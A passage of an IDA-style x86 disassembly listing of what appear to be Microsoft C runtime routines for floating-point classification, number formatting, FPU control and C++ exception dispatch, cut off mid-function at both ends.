loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26B0C06h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26E03D4h
		nop
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
